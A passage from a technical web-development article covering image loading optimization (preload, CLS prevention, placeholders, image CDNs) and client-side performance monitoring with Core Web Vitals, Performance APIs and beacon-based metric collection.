**Preload for LCP images:**

```html
<head>
  <link rel="preload" as="image" href="hero.jpg" fetchpriority="high" />
</head>
```

Preload hints start the request before the browser discovers the `<img>` element. Critical for images referenced in CSS or discovered late in HTML parsing.

**Preload with responsive images:**

```html
<link
  rel="preload"
  as="image"
  href="hero.jpg"
  imagesrcset="hero-400.jpg 400w, hero-800.jpg 800w, hero-1200.jpg 1200w"
  imagesizes="(max-width: 600px) 100vw, 50vw"
/>
```

**When to use `fetchpriority="high"`:**

- LCP candidate images
- Above-the-fold hero images
- Critical product images

**When to use `fetchpriority="low"`:**

- Footer images
- Decorative backgrounds
- Below-the-fold thumbnails

## CLS Prevention

Layout shift occurs when content moves after initial paint. Images without dimensions are the primary cause of image-related CLS.

### Mechanism

When the browser encounters an image:

1. **Without dimensions**: Renders placeholder (0×0 or replaced element default), then reflows when image loads
2. **With dimensions**: Calculates aspect ratio from `width`/`height`, reserves space immediately

### Solution 1: width and height Attributes

```html
<img src="photo.jpg" width="800" height="600" alt="Description" />
```

Browser calculates intrinsic aspect ratio: 800÷600 = 1.33. With CSS `width: 100%`, the height scales proportionally.

**How modern browsers handle this:**

Since 2019, browsers use `width` and `height` to compute a default aspect ratio in the UA stylesheet:

```css
/* Browser's internal stylesheet */
img {
  aspect-ratio: attr(width) / attr(height);
}
```

This means `width="800" height="600"` automatically reserves space even with responsive CSS.

### Solution 2: CSS aspect-ratio

```css
.responsive-image {
  width: 100%;
  height: auto;
  aspect-ratio: 16 / 9;
}
```

Use when:

- Image dimensions aren't known at markup time
- Dynamic images from APIs without dimension metadata
- Consistent aspect ratio across a gallery

**Browser support**: Chrome 88+, Firefox 89+, Safari 15+.

### Solution 3: Padding-bottom Hack (Legacy)

```html
<div style="position: relative; padding-bottom: 56.25%; height: 0;">
  <img src="photo.jpg" style="position: absolute; width: 100%; height: 100%;" alt="Description" />
</div>
```

The padding percentage is relative to container width, creating a fixed aspect ratio (56.25% = 9÷16 = 16:9).

**Avoid this approach** unless supporting browsers without `aspect-ratio` support.

### CLS Measurement

```javascript
new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (!entry.hadRecentInput) {
      console.log("CLS contribution:", entry.value, entry.sources)
    }
  }
}).observe({ type: "layout-shift", buffered: true })
```

Target: CLS < 0.1 for "good" Core Web Vitals score.

## Placeholder Strategies

Placeholders improve perceived performance by providing visual feedback while images load.

### Dominant Color

Extract the dominant color and display as background:

```html
<img src="photo.jpg" style="background-color: #d4a574;" alt="Description" width="800" height="600" />
```

**Implementation:**

- Server-side: Extract during upload with ImageMagick, Sharp, or similar
- Build-time: Generate with image processing plugins
- Runtime: Embed in API response

**Trade-offs:**

- ✅ Minimal overhead (6-7 bytes for hex color)
- ✅ No JavaScript required
- ❌ No visual detail

### LQIP (Low Quality Image Placeholder)

Inline a tiny blurred version:

```html
<img
  src="photo.jpg"
  style="background-image: url('data:image/jpeg;base64,/9j/4AAQ...');"
  alt="Description"
  width="800"
  height="600"
/>
```

**Sizing guidelines:**

- 20-40 pixels wide, heavily compressed
- ~200-500 bytes base64 encoded
- Apply CSS blur to smooth pixelation

### BlurHash

Compact representation (~20-30 bytes) that decodes to a gradient:

```typescript collapse={1-5, 15-20}
import { decode } from "blurhash"

// Server provides hash during SSR or in API response
const hash = "LEHV6nWB2yk8pyo0adR*.7kCMdnj"

// Decode to pixels
const pixels = decode(hash, 32, 32)

// Render to canvas or use as CSS background
const canvas = document.createElement("canvas")
canvas.width = 32
canvas.height = 32
const ctx = canvas.getContext("2d")
const imageData = ctx.createImageData(32, 32)
imageData.data.set(pixels)
ctx.putImageData(imageData, 0, 0)

// Apply as background
img.style.backgroundImage = `url(${canvas.toDataURL()})`
img.style.backgroundSize = "cover"
```

**Trade-offs:**

- ✅ Excellent compression (~20-30 bytes)
- ✅ Pleasing gradient approximation
- ❌ Requires JavaScript to decode
- ❌ Computation cost (~1-2ms per decode)

### Skeleton Placeholder

CSS-only placeholder matching expected dimensions:

```css
.image-skeleton {
  background: linear-gradient(90deg, var(--skeleton-base) 25%, var(--skeleton-highlight) 50%, var(--skeleton-base) 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
}

@keyframes shimmer {
  0% {
    background-position: 200% 0;
  }
  100% {
    background-position: -200% 0;
  }
}
```

**Best for:**

- Consistent layouts (cards, grids)
- When dominant color/LQIP unavailable
- Framework integration (many UI libraries provide skeleton components)

### Comparison

| Strategy       | Payload       | JavaScript Required | Visual Fidelity   |
| -------------- | ------------- | ------------------- | ----------------- |
| Dominant color | 6-7 bytes     | No                  | Low               |
| LQIP           | 200-500 bytes | No                  | Medium            |
| BlurHash       | 20-30 bytes   | Yes                 | Medium            |
| Skeleton       | 0 (CSS)       | No                  | None (structural) |

## Image CDN Integration

Image CDNs optimize and deliver images on-the-fly, eliminating the need to pre-generate variants.

### Core Capabilities

| Feature              | Benefit                            |
| -------------------- | ---------------------------------- |
| On-demand resizing   | Generate any dimension from source |
| Format conversion    | Serve WebP/AVIF automatically      |
| Quality optimization | Compress based on content type     |
| Global caching       | Low latency delivery               |
| URL-based transforms | No build step required             |

### URL Pattern Example

```
https://cdn.example.com/images/photo.jpg?w=800&h=600&f=webp&q=75
```

| Parameter | Purpose                   |
| --------- | ------------------------- |
| `w`       | Width                     |
| `h`       | Height                    |
| `f`       | Format (webp, avif, auto) |
| `q`       | Quality (1-100)           |

### Integration with Responsive Images

```html
<img
  srcset="
    https://cdn.example.com/photo.jpg?w=400   400w,
    https://cdn.example.com/photo.jpg?w=800   800w,
    https://cdn.example.com/photo.jpg?w=1200 1200w
  "
  sizes="(max-width: 600px) 100vw, 50vw"
  src="https://cdn.example.com/photo.jpg?w=800"
  alt="Description"
  width="1200"
  height="800"
/>
```

**Auto-format negotiation**: Many CDNs support `f=auto`, inspecting the `Accept` header to serve optimal format:

```html
<!-- CDN serves AVIF, WebP, or JPEG based on Accept header -->
<img src="https://cdn.example.com/photo.jpg?f=auto&q=75" alt="Description" />
```

### Cache Strategy

| Header          | Recommended Value                | Purpose                           |
| --------------- | -------------------------------- | --------------------------------- |
| `Cache-Control` | `public, max-age=31536000`       | Long cache (images rarely change) |
| `Vary`          | `Accept` (if format negotiation) | Cache per format                  |
| `ETag`          | Hash of source + transforms      | Cache invalidation                |

**Cache invalidation approaches:**

- Content hash in filename: `photo-a1b2c3.jpg`
- Version query param: `photo.jpg?v=2`
- Purge API (CDN-specific)

### Major CDN Providers

| Provider               | Strengths                                      |
| ---------------------- | ---------------------------------------------- |
| Cloudinary             | Rich transformation API, ML-based optimization |
| Imgix                  | Performance focus, responsive images           |
| Cloudflare Images      | Integrated with Cloudflare CDN                 |
| Fastly Image Optimizer | Edge compute, custom logic                     |
| Vercel/Next.js Image   | Framework integration                          |

## Real-World Implementations

### Instagram: Aggressive Compression

**Challenge**: Billions of images, mobile-first users on varying connections.

**Approach:**

- Compress all uploads regardless of source quality
- Multiple size variants: 150×150 (thumbnail), 320×320, 480×480, 640×640, 1080×1080
- Progressive JPEG for gradual loading
- Dominant color placeholders

**Key insight**: Instagram accepts quality loss for smaller payloads. Users tolerate compression artifacts on mobile; the speed gain outweighs visual fidelity.

**Result**: Sub-second image loads on 3G connections.

### Pinterest: Vertical Scroll Optimization

**Challenge**: Infinite scroll masonry grid with variable-height images.

**Approach:**

- Preferred 2:3 aspect ratio (vertical orientation suits scroll direction)
- Height estimation for unseen images (prevents scroll position jumps)
- Aggressive lazy loading with large threshold
- BlurHash placeholders for visual continuity

**Key insight**: Consistent aspect ratio simplifies layout calculations and reduces CLS in masonry grids.

### Unsplash: High-Resolution Source, Multiple Delivery Sizes

**Challenge**: Photographers upload 20-50MB originals; pages need optimized delivery.

**Approach:**

- Store original at full resolution
- On-demand CDN transformation for any requested size
- Prominent download options (small/medium/large/original)
- LQIP with blur for preview

**Integration pattern for third-party use:**

```html
<img
  srcset="
    https://images.unsplash.com/photo-xxx?w=400   400w,
    https://images.unsplash.com/photo-xxx?w=800   800w,
    https://images.unsplash.com/photo-xxx?w=1200 1200w
  "
  sizes="(max-width: 600px) 100vw, 50vw"
  src="https://images.unsplash.com/photo-xxx?w=800"
  alt="Description"
/>
```

### Figma: Canvas Rendering (Non-DOM)

**Challenge**: Design files with 100K+ objects, real-time collaboration.

**Approach:**

- WebGL rendering (bypasses DOM entirely)
- Spatial indexing (R-tree) for visible object query
- Level-of-detail: simplify distant objects
- Incremental rendering prioritizing viewport center

**Key insight**: At extreme scale, DOM-based image handling becomes the bottleneck. WebGL provides full control over what renders.

## Performance Optimization

### LCP Optimization Checklist

1. **Identify LCP element**: Use DevTools Performance panel or web-vitals library
2. **Preload if image**: `<link rel="preload" as="image" href="..." fetchpriority="high">`
3. **Remove lazy loading**: Never `loading="lazy"` on LCP candidates
4. **Optimize format/size**: Serve smallest sufficient variant
5. **Minimize request chain**: Avoid CSS background-image (discovered late)

### Monitoring

```typescript collapse={1-2, 12-15}
import { onLCP, onCLS, onINP } from "web-vitals"

onLCP((metric) => {
  const entry = metric.entries[metric.entries.length - 1]
  if (entry.element?.tagName === "IMG") {
    console.log("LCP image:", entry.element.src)
    console.log("LCP time:", metric.value)
    // Report to analytics
  }
})

onCLS((metric) => {
  console.log("CLS:", metric.value)
})
```

### Image Size Budget

| Viewport         | Target Total Images | Per-Image Target (LCP) |
| ---------------- | ------------------- | ---------------------- |
| Mobile (360px)   | < 500KB             | < 100KB                |
| Tablet (768px)   | < 1MB               | < 200KB                |
| Desktop (1920px) | < 2MB               | < 400KB                |

These are guidelines—actual budgets depend on page type and user expectations.

## Browser Constraints

### Decoding Attribute

Controls synchronous vs asynchronous image decoding:

```html
<img src="photo.jpg" decoding="async" alt="Description" />
```

| Value   | Behavior            | Use Case                |
| ------- | ------------------- | ----------------------- |
| `async` | Non-blocking decode | Default for most images |
| `sync`  | Blocking decode     | Rarely needed           |
| `auto`  | Browser decides     | Default behavior        |

Modern browsers default to async decoding for off-main-thread performance. Explicit `decoding="async"` ensures this behavior.

### Memory Considerations

| Image Dimensions | Uncompressed Memory | Impact           |
| ---------------- | ------------------- | ---------------- |
| 640×480 (VGA)    | ~1.2MB              | Negligible       |
| 1920×1080 (FHD)  | ~8MB                | Moderate         |
| 3840×2160 (4K)   | ~33MB               | Significant      |
| 8192×8192        | ~268MB              | Can crash mobile |

**Mitigation:**

- Serve appropriately-sized images (never 4K to mobile)
- Lazy load to avoid simultaneous decode
- Release references to allow garbage collection

### Connection-Aware Loading

```typescript
const connection = navigator.connection

function getImageQuality(): "high" | "medium" | "low" {
  if (!connection) return "medium"

  if (connection.saveData) return "low"
  if (connection.effectiveType === "4g") return "high"
  if (connection.effectiveType === "3g") return "medium"
  return "low"
}
```

**Caveats:**

- `navigator.connection` is not available in Safari
- `effectiveType` can be inaccurate
- Consider this a hint, not a guarantee

## Accessibility

### Alt Text Requirements

```html
<!-- Informative image: describe content -->
<img src="chart.png" alt="Q4 revenue increased 23% to $4.2M" />

<!-- Decorative image: empty alt -->
<img src="divider.png" alt="" />

<!-- Complex image: detailed description -->
<img src="architecture.png" alt="System architecture diagram" aria-describedby="arch-details" />
<p id="arch-details">The system consists of three layers...</p>
```

### Reduced Motion

```css
@media (prefers-reduced-motion: reduce) {
  .image-transition {
    transition: none;
  }

  .skeleton-loader {
    animation: none;
    background: var(--skeleton-base);
  }
}
```

### High Contrast Mode

Ensure placeholder backgrounds don't disappear:

```css
@media (forced-colors: active) {
  .image-placeholder {
    forced-color-adjust: none;
    background-color: Canvas;
    border: 1px solid CanvasText;
  }
}
```

## Conclusion

Image optimization is the highest-impact intervention for Core Web Vitals. The browser provides powerful primitives—native lazy loading, priority hints, responsive images, and format negotiation—but requires correct usage.

**Priorities by impact:**

1. **Always specify dimensions**: `width`/`height` or CSS `aspect-ratio` eliminate CLS
2. **Preload LCP images**: `<link rel="preload">` with `fetchpriority="high"`
3. **Serve modern formats**: AVIF/WebP via `<picture>` or CDN
4. **Lazy load below-fold**: Native `loading="lazy"` for simplicity
5. **Right-size images**: Responsive `srcset`/`sizes` for device-appropriate delivery

## Appendix

### Prerequisites

- HTML image element semantics
- CSS layout fundamentals
- HTTP caching basics
- Core Web Vitals metrics (LCP, CLS, INP)

### Summary

- Native lazy loading (`loading="lazy"`) defers off-screen images with browser-determined thresholds; always include `width`/`height`
- Responsive images (`srcset`/`sizes`) let browsers select optimal variants; use `<picture>` for art direction or format switching
- Modern formats (AVIF, WebP) reduce payload 30-60% over JPEG; serve via `<picture>` type attribute or CDN auto-negotiation
- CLS prevention requires explicit dimensions or CSS `aspect-ratio`—browsers calculate intrinsic ratio from `width`/`height` attributes
- Priority hints (`fetchpriority`, preload) control resource scheduling; use `high` for LCP images, `low` for decorative
- Image CDNs provide on-demand transformation, eliminating pre-generation of size/format variants

### References

- [WHATWG HTML Living Standard - Images](https://html.spec.whatwg.org/multipage/images.html) - Authoritative spec for `loading`, `decoding`, `srcset`, `sizes`
- [WHATWG HTML Living Standard - fetchpriority](https://html.spec.whatwg.org/multipage/urls-and-fetching.html#fetch-priority-attribute) - Priority hints specification
- [CSS Images Module Level 4](https://drafts.csswg.org/css-images-4/) - `aspect-ratio` and image-set specifications
- [MDN - Responsive Images](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) - Comprehensive guide
- [web.dev - Browser-Level Image Lazy Loading](https://web.dev/articles/browser-level-image-lazy-loading) - Chrome team implementation details
- [web.dev - Optimize LCP](https://web.dev/articles/optimize-lcp) - LCP optimization strategies
- [web.dev - Optimize CLS](https://web.dev/articles/optimize-cls) - CLS prevention techniques
- [Addy Osmani - Native Image Lazy Loading](https://addyosmani.com/blog/lazy-loading/) - In-depth analysis from Chrome team
- [BlurHash](https://blurha.sh/) - Placeholder algorithm specification
- [Cloudinary - LQIP Explained](https://cloudinary.com/blog/low_quality_image_placeholders_lqip_explained) - Placeholder implementation guide

---

## Client Performance Monitoring

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/performance-monitoring-client
**Category:** System Design / Frontend System Design
**Description:** Measuring frontend performance in production requires capturing real user experience data—not just synthetic benchmarks. Lab tools like Lighthouse measure performance under controlled conditions, but users experience your application on varied devices, networks, and contexts. Real User Monitoring (RUM) bridges this gap by collecting performance metrics from actual browser sessions, enabling data-driven optimization where it matters most: in the field.

# Client Performance Monitoring

Measuring frontend performance in production requires capturing real user experience data—not just synthetic benchmarks. Lab tools like Lighthouse measure performance under controlled conditions, but users experience your application on varied devices, networks, and contexts. Real User Monitoring (RUM) bridges this gap by collecting performance metrics from actual browser sessions, enabling data-driven optimization where it matters most: in the field.

<figure>

![RUM architecture: browser APIs capture metrics, beacons transmit reliably on page unload, backend pipelines aggregate and surface insights.](./rum-architecture-browser-apis-capture-metrics-beacons-transmit-reliably-on-page-.svg)

<figcaption>RUM architecture: browser APIs capture metrics, beacons transmit reliably on page unload, backend pipelines aggregate and surface insights.</figcaption>
</figure>

## Abstract

Client performance monitoring centers on three measurement categories:

1. **Core Web Vitals**: Google's standardized metrics—LCP (Largest Contentful Paint), INP (Interaction to Next Paint, replaced FID in March 2024), and CLS (Cumulative Layout Shift). These measure loading, interactivity, and visual stability respectively, evaluated at the 75th percentile.

2. **Performance APIs**: Browser-native interfaces (PerformanceObserver, Navigation Timing, Resource Timing, Event Timing) that expose timing data with sub-millisecond precision. The `web-vitals` library abstracts edge cases these raw APIs miss.

3. **Data transmission**: `navigator.sendBeacon()` and `fetch` with `keepalive` enable reliable transmission during page unload—critical because metrics like CLS and INP finalize only when the user leaves.

Key architectural decisions:

- **Sampling strategy**: 100% capture for errors, 1-10% for performance metrics to control costs
- **Attribution data**: Include element selectors and interaction targets to make metrics actionable
- **Session windowing**: CLS uses session windows (max 5s, 1s gap); INP reports the worst interaction minus outliers

The distinction between lab and field data is fundamental: lab tools provide reproducible debugging; field data reveals what users actually experience.

## Core Web Vitals

### LCP (Largest Contentful Paint)

LCP measures perceived load speed by tracking when the largest visible content element renders. Per the web.dev specification, qualifying elements include:

- `<img>` elements (first frame for animated images)
- `<image>` elements within `<svg>`
- `<video>` elements (poster image or first displayed frame)
- Elements with CSS `background-image` via `url()`
- Block-level elements containing text nodes

**Size calculation rules:**

- Only the visible portion within the viewport counts
- For resized images, the smaller of visible size or intrinsic size is used
- Margins, padding, and borders are excluded
- Low-entropy placeholders and fully transparent elements are filtered out

**When LCP stops reporting:**

The browser stops dispatching LCP entries when the user interacts (tap, scroll, keypress) because interaction typically changes the visible content. This means LCP captures the initial loading experience, not ongoing rendering.

```typescript title="lcp-measurement.ts" collapse={1-3,20-30}
// Using the raw Performance API
new PerformanceObserver((entryList) => {
  const entries = entryList.getEntries()
  // The last entry is the current LCP candidate
  const lastEntry = entries[entries.length - 1] as LargestContentfulPaint

  console.log("LCP:", lastEntry.startTime)
  console.log("Element:", lastEntry.element)
  console.log("Size:", lastEntry.size)
  console.log("URL:", lastEntry.url) // For images
}).observe({ type: "largest-contentful-paint", buffered: true })
```

**Thresholds:**

| Rating            | Value     |
| ----------------- | --------- |
| Good              | ≤ 2.5s    |
| Needs Improvement | 2.5s – 4s |
| Poor              | > 4s      |

### INP (Interaction to Next Paint)

INP replaced FID (First Input Delay) as a Core Web Vital in March 2024. The key difference: FID measured only the first interaction's input delay; INP measures the worst interaction latency across the entire page lifecycle.

**Why INP is more comprehensive:**

Chrome usage data shows 90% of user time on a page occurs after initial load. FID captured only first impressions; INP captures the full responsiveness experience.

**Three phases of interaction latency:**

```
User Input → [Input Delay] → [Processing Time] → [Presentation Delay] → Next Frame

1. Input Delay: Time before event handlers execute (main thread blocked)
2. Processing Time: Time spent executing all event handlers
3. Presentation Delay: Time from handler completion to next frame paint
```

**Tracked interactions:**

- Mouse clicks
- Touchscreen taps
- Keyboard presses (physical and on-screen)

**Excluded:** Scrolling, hovering, zooming (these don't trigger event handlers in the same way).

**Final value calculation:**

INP reports the worst interaction latency, with one outlier ignored per 50 interactions. This prevents a single anomalous interaction from skewing the metric while still capturing genuinely slow interactions.

```typescript title="inp-measurement.ts" collapse={1-3}
// Using web-vitals library (recommended)
import { onINP } from "web-vitals/attribution"

onINP((metric) => {
  console.log("INP:", metric.value)
  console.log("Rating:", metric.rating)

  // Attribution data for debugging
  const { eventTarget, eventType, loadState } = metric.attribution
  console.log("Element:", eventTarget)
  console.log("Event:", eventType)
  console.log("Load state:", loadState) // 'loading', 'dom-interactive', 'dom-content-loaded', 'complete'
})
```

**Thresholds:**

| Rating            | Value         |
| ----------------- | ------------- |
| Good              | ≤ 200ms       |
| Needs Improvement | 200ms – 500ms |
| Poor              | > 500ms       |

### CLS (Cumulative Layout Shift)

CLS measures visual stability—how much visible content unexpectedly shifts during the page lifecycle. Unexpected shifts frustrate users, cause misclicks, and degrade perceived quality.

**Layout shift score formula:**

```
Layout Shift Score = Impact Fraction × Distance Fraction
```

- **Impact Fraction**: Combined visible area of shifted elements (before and after positions) as a fraction of viewport area
- **Distance Fraction**: Greatest distance any element moved, divided by viewport's largest dimension

**Session windowing:**

CLS doesn't sum all shifts. It groups shifts into "session windows" with these constraints:

- Maximum 1 second gap between shifts within a window
- Maximum 5 second window duration

CLS reports the highest-scoring session window, not the total. This prevents long-lived SPAs (Single Page Applications) from accumulating artificially high scores.

**Expected vs. unexpected shifts:**

Shifts within 500ms of user interaction (click, tap, keypress) are considered expected and excluded via the `hadRecentInput` flag. Animations using `transform: translate()` or `transform: scale()` don't trigger layout shifts because they don't affect element geometry.

```typescript title="cls-measurement.ts" collapse={1-3,25-35}
// Raw API approach (simplified)
let clsValue = 0
let clsEntries: LayoutShift[] = []

new PerformanceObserver((entryList) => {
  for (const entry of entryList.getEntries() as LayoutShift[]) {
    // Only count unexpected shifts
    if (!entry.hadRecentInput) {
      clsValue += entry.value
      clsEntries.push(entry)
    }
  }
}).observe({ type: "layout-shift", buffered: true })

// Note: This simplified version doesn't implement session windowing
// Use web-vitals library for correct CLS calculation
```

**Common causes:**

- Images without dimensions (`width`/`height` attributes)
- Ads, embeds, iframes that resize
- Dynamically injected content
- Web fonts causing FOIT/FOUT (Flash of Invisible/Unstyled Text)

**Thresholds:**

| Rating            | Value      |
| ----------------- | ---------- |
| Good              | ≤ 0.1      |
| Needs Improvement | 0.1 – 0.25 |
| Poor              | > 0.25     |

### The 75th Percentile Standard

All Core Web Vitals are evaluated at the 75th percentile of page loads. A page passes if 75% or more of visits meet the "Good" threshold. This approach:

- Accounts for real-world variance in devices and networks
- Balances between median (too lenient) and 95th percentile (too sensitive to outliers)
- Provides a consistent benchmark across sites

## Performance APIs

### PerformanceObserver

PerformanceObserver is the modern interface for accessing performance timeline entries. Unlike `performance.getEntries()`, it provides asynchronous notification as entries are recorded.

```typescript title="performance-observer-pattern.ts" collapse={1-5}
interface PerformanceMetricCallback {
  (entries: PerformanceEntryList): void
}

function observePerformance(
  entryType: string,
  callback: PerformanceMetricCallback,
  options: { buffered?: boolean } = {},
): () => void {
  // Check if entry type is supported
  if (!PerformanceObserver.supportedEntryTypes.includes(entryType)) {
    console.warn(`Entry type "${entryType}" not supported`)
    return () => {}
  }

  const observer = new PerformanceObserver((list) => {
    callback(list.getEntries())
  })

  observer.observe({
    type: entryType,
    buffered: options.buffered ?? true,
  })

  return () => observer.disconnect()
}

// Usage
const disconnect = observePerformance("largest-contentful-paint", (entries) => {
  const lcp = entries[entries.length - 1]
  console.log("LCP:", lcp.startTime)
})
```

**The `buffered` flag:**

When `buffered: true`, the observer receives entries recorded before `observe()` was called. This is critical for metrics like LCP and FCP that often fire before your monitoring code loads. Each entry type has buffer limits—when full, new entries aren't buffered.

**Supported entry types (2024):**

| Entry Type                 | Interface                           | Purpose                  |
| -------------------------- | ----------------------------------- | ------------------------ |
| `navigation`               | PerformanceNavigationTiming         | Page load timing         |
| `resource`                 | PerformanceResourceTiming           | Resource fetch timing    |
| `paint`                    | PerformancePaintTiming              | FP, FCP                  |
| `largest-contentful-paint` | LargestContentfulPaint              | LCP                      |
| `layout-shift`             | LayoutShift                         | CLS                      |
| `event`                    | PerformanceEventTiming              | Interaction timing (INP) |
| `first-input`              | PerformanceEventTiming              | First input delay        |
| `longtask`                 | PerformanceLongTaskTiming           | Tasks > 50ms             |
| `long-animation-frame`     | PerformanceLongAnimationFrameTiming | LoAF (replaces longtask) |
| `mark`                     | PerformanceMark                     | Custom marks             |
| `measure`                  | PerformanceMeasure                  | Custom measures          |
| `element`                  | PerformanceElementTiming            | Specific element timing  |

### Navigation Timing

Navigation Timing provides detailed timing for the document load process.

```typescript title="navigation-timing.ts" collapse={1-3,30-45}
function getNavigationMetrics(): Record<string, number> {
  const [nav] = performance.getEntriesByType("navigation") as PerformanceNavigationTiming[]

  if (!nav) return {}

  return {
    // DNS
    dnsLookup: nav.domainLookupEnd - nav.domainLookupStart,

    // TCP connection
    tcpConnect: nav.connectEnd - nav.connectStart,

    // TLS handshake (if HTTPS)
    tlsHandshake: nav.secureConnectionStart > 0 ? nav.connectEnd - nav.secureConnectionStart : 0,

    // Time to First Byte
    ttfb: nav.responseStart - nav.requestStart,

    // Download time
    downloadTime: nav.responseEnd - nav.responseStart,

    // DOM processing
    domProcessing: nav.domContentLoadedEventEnd - nav.responseEnd,

    // Total page load
    pageLoad: nav.loadEventEnd - nav.startTime,

    // Transfer size
    transferSize: nav.transferSize,
    encodedBodySize: nav.encodedBodySize,
    decodedBodySize: nav.decodedBodySize,
  }
}
```

**Key timing points:**

```
navigationStart
    → redirectStart/End
    → fetchStart
    → domainLookupStart/End (DNS)
    → connectStart/End (TCP)
    → secureConnectionStart (TLS)
    → requestStart
    → responseStart (TTFB)
    → responseEnd
    → domInteractive
    → domContentLoadedEventStart/End
    → domComplete
    → loadEventStart/End
```

### Resource Timing

Resource Timing exposes network timing for fetched resources (scripts, stylesheets, images, XHR/fetch requests).

```typescript title="resource-timing.ts" collapse={1-5,35-50}
interface ResourceMetrics {
  name: string
  initiatorType: string
  duration: number
  transferSize: number
  cached: boolean
}

function getSlowResources(threshold = 1000): ResourceMetrics[] {
  const resources = performance.getEntriesByType("resource") as PerformanceResourceTiming[]

  return resources
    .filter((r) => r.duration > threshold)
    .map((r) => ({
      name: r.name,
      initiatorType: r.initiatorType,
      duration: r.duration,
      transferSize: r.transferSize,
      cached: r.transferSize === 0 && r.decodedBodySize > 0,
    }))
    .sort((a, b) => b.duration - a.duration)
}

// Monitor resources as they load
new PerformanceObserver((list) => {
  for (const entry of list.getEntries() as PerformanceResourceTiming[]) {
    if (entry.duration > 2000) {
      console.warn("Slow resource:", entry.name, entry.duration)
    }
  }
}).observe({ type: "resource", buffered: true })
```

**Cross-origin timing:**

By default, cross-origin resources expose only `startTime`, `duration`, and `responseEnd` with other timing values zeroed for privacy. The `Timing-Allow-Origin` header enables full timing:

```http
Timing-Allow-Origin: *
Timing-Allow-Origin: https://example.com
```

### Long Animation Frames (LoAF)

Long Animation Frames API replaces Long Tasks API with better attribution. A "long animation frame" is one where rendering work exceeds 50ms, blocking smooth 60fps rendering.

```typescript title="loaf-monitoring.ts" collapse={1-3}
// Detect long animation frames with attribution
new PerformanceObserver((list) => {
  for (const entry of list.getEntries() as PerformanceLongAnimationFrameTiming[]) {
    console.log("Long frame:", entry.duration, "ms")

    // Scripts that contributed to the long frame
    for (const script of entry.scripts) {
      console.log("  Script:", script.sourceURL)
      console.log("  Function:", script.sourceFunctionName)
      console.log("  Duration:", script.duration, "ms")
      console.log("  Invoker:", script.invoker) // 'user-callback', 'event-listener', etc.
    }
  }
}).observe({ type: "long-animation-frame", buffered: true })
```

**Why LoAF over Long Tasks:**

Long Tasks only reported that a task exceeded 50ms. LoAF provides:

- Which scripts contributed and their individual durations
- Source URLs and function names
- Invoker type (event listener, user callback, etc.)
- Better correlation with INP issues

### User Timing (Custom Metrics)

User Timing API enables custom performance marks and measures for application-specific metrics.

```typescript title="user-timing.ts" collapse={1-3,35-45}
// Mark a point in time
performance.mark("feature-start")

// ... feature code executes ...

performance.mark("feature-end")

// Measure between marks
performance.measure("feature-duration", "feature-start", "feature-end")

// Measure from navigation start
performance.measure("time-to-feature", {
  start: 0, // navigationStart
  end: "feature-start",
})

// Retrieve measures
const measures = performance.getEntriesByType("measure")
for (const measure of measures) {
  console.log(`${measure.name}: ${measure.duration}ms`)
}

// Include custom data (Performance API Level 3)
performance.mark("api-call-complete", {
  detail: {
    endpoint: "/api/users",
    status: 200,
    cached: false,
  },
})
```

**Real-world custom metrics:**

| Metric                      | What It Measures                         |
| --------------------------- | ---------------------------------------- |
| Time to Interactive Feature | When a specific feature becomes usable   |
| Search Results Render       | Time from query to results display       |
| Checkout Flow Duration      | Time through purchase funnel             |
| API Response Time           | Backend latency as experienced by client |

## Data Collection Architecture

### Beacon Transmission

`navigator.sendBeacon()` is designed for reliable analytics transmission during page unload. Unlike XHR/fetch, it's queued by the browser and sent even after the page closes.

```typescript title="beacon-transmission.ts" collapse={1-5,45-60}
interface PerformancePayload {
  url: string
  sessionId: string
  timestamp: number
  metrics: Record<string, number>
  attribution?: Record<string, unknown>
}

class MetricsCollector {
  private buffer: PerformancePayload[] = []
  private endpoint: string
  private maxBufferSize = 10

  constructor(endpoint: string) {
    this.endpoint = endpoint
    this.setupUnloadHandler()
  }

  record(metrics: Record<string, number>, attribution?: Record<string, unknown>): void {
    this.buffer.push({
      url: location.href,
      sessionId: this.getSessionId(),
      timestamp: Date.now(),
      metrics,
      attribution,
    })

    // Flush if buffer is full
    if (this.buffer.length >= this.maxBufferSize) {
      this.flush()
    }
  }

  private flush(): void {
    if (this.buffer.length === 0) return

    const payload = JSON.stringify(this.buffer)
    this.buffer = []

    // Try sendBeacon first
    const sent = navigator.sendBeacon(this.endpoint, payload)

    // Fallback to fetch with keepalive
    if (!sent) {
      fetch(this.endpoint, {
        method: "POST",
        body: payload,
        keepalive: true,
        headers: { "Content-Type": "application/json" },
      }).catch(() => {
        // Silently fail - analytics shouldn't break the page
      })
    }
  }

  private setupUnloadHandler(): void {
    // visibilitychange is more reliable than unload/beforeunload
    document.addEventListener("visibilitychange", () => {
      if (document.visibilityState === "hidden") {
        this.flush()
      }
    })

    // Fallback for browsers that don't fire visibilitychange
    window.addEventListener("pagehide", () => this.flush())
  }

  private getSessionId(): string {
    let id = sessionStorage.getItem("perf_session_id")
    if (!id) {
      id = crypto.randomUUID()
      sessionStorage.setItem("perf_session_id", id)
    }
    return id
  }
}
```

**Why `visibilitychange` over `unload`:**

- `unload` doesn't fire reliably on mobile when switching apps
- `unload` and `beforeunload` prevent bfcache (back/forward cache) in many browsers
- `visibilitychange` fires when the page is hidden, backgrounded, or navigated away

**Payload size limits:**

`sendBeacon()` typically has a 64KB limit. For large payloads, batch and compress, or use `fetch` with `keepalive` which has similar guarantees but more flexibility.

### Sampling Strategies

RUM generates substantial data volume. Sampling reduces costs while maintaining statistical validity.

```typescript title="sampling-strategy.ts" collapse={1-5,40-55}
type SamplingDecision = "always" | "sampled" | "never"

interface SamplingConfig {
  performanceRate: number // 0-1, e.g., 0.1 = 10%
  errorRate: number // Usually 1.0 (100%)
  sessionBased: boolean // Decide once per session
}

class Sampler {
  private config: SamplingConfig
  private sessionDecision: boolean | null = null

  constructor(config: SamplingConfig) {
    this.config = config

    if (config.sessionBased) {
      this.sessionDecision = this.makeDecision(config.performanceRate)
    }
  }

  shouldSample(type: "performance" | "error"): boolean {
    // Always capture errors
    if (type === "error") {
      return this.makeDecision(this.config.errorRate)
    }

    // Use session decision if configured
    if (this.config.sessionBased && this.sessionDecision !== null) {
      return this.sessionDecision
    }

    return this.makeDecision(this.config.performanceRate)
  }

  private makeDecision(rate: number): boolean {
    return Math.random() < rate
  }
}

// Usage
const sampler = new Sampler({
